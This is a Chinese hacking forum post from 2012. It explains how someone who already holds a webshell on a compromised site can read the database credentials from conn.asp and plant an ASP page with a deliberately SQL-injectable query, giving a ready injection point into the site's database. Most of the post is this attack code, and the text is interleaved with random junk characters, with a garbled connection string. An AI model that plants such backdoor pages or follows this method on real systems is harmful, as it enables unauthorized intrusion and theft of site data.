找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
( B  F6 ?; L$ d5 C! |$ ]1 w
' d2 p( D7 z. i" M今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
1 k! y+ ?9 F( C2 A1 P- i. v, m3 }7 I3 U" K, i( }8 I
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
! k% C9 C6 G  m. `$ e4 a' N3 {" V9 H" b7 I- i7 k+ C+ W
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
- l4 ]0 f2 k& D! B: c- Q. V) g1 u, h& L" d7 m" P# @8 D7 L/ [, y
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
  v) G% y7 \" U3 Q% l$ d2 p* I. ^' ]. D5 M
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
4 N# a, U  b7 @/ ~" W" t" P7 z. B; g$ t3 Y( t9 L$ U% B; P$ T& w& K" X
程序代码; }( W) ]& M7 z) U0 j
<!--#include file="xx.asp"-->
% F9 ]: d" x! J. X4 X<%7 A! f$ ^  ~7 h
set rs=server.createobject("ADODB.recordset")
  b- K  y8 i& h, [2 lid = request("id"); w/ K6 ]1 y$ I+ b* c4 V
strSQL = "select * from admin where id=" & id
9 ]$ F. l2 u$ }! C, nrs.open strSQL,conn,1,3
3 O2 P6 N: x5 E4 Q. C; Zrs.close7 Q, L5 Q' Z; h4 o
%>% [+ _4 _$ E! T; R4 Z

3 _; |4 h2 z! D把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
8 H% ^9 L: T# C. h! M, @3 K! U0 v5 Y& W" c3 i
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
3 Q' J5 E. R3 B* h, N8 A7 C/ I7 s; e. F( g$ G# i4 a$ L
然后就要构造一个连接数据库的文件了,代码如下:
/ Z1 T0 J2 F# S2 }. {0 {. c$ p, o( ~程序代码$ j. ^  @4 ]( R, W8 S7 b) `, O( S
<%        . b  _5 H/ {( s# P( [
strSQLServerName = "000.000.000.000"     '服务器名称或地址/ K/ K9 I, i/ D* z" n
strSQLDBUserName = "sqlname"         '数据库帐号
1 e5 L, B! U) _3 V+ h  ?strSQLDBPassword = "sqlpass"         '数据库密码' w$ V9 X5 i5 ~9 a; p+ i3 [  U* E
strSQLDBName = "sqldataname"           '数据库名称
. K% Q# z" ]6 v: gSet conn = Server.CreateObject("ADODB.Connection")7 t% C# q1 E1 N/ C( g
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"$ f7 \$ ?( g- p9 q4 y
conn.open strCon
# `8 g9 M# s( q0 R%>
0 T/ y. z' \1 a, }6 q; L6 v4 K1 w: @- z( f2 q5 u2 J# a
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,2 h3 Y. w3 b  m" Y  j- Y$ I* u

/ s- u8 u4 [  Y6 M% ~2 p就这样,正常情况下,就OK了,伪造成功……7 @) [8 N$ _4 Q- ]  S5 K. o

# d% Y- u! O' h/ Y8 p5 ?           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表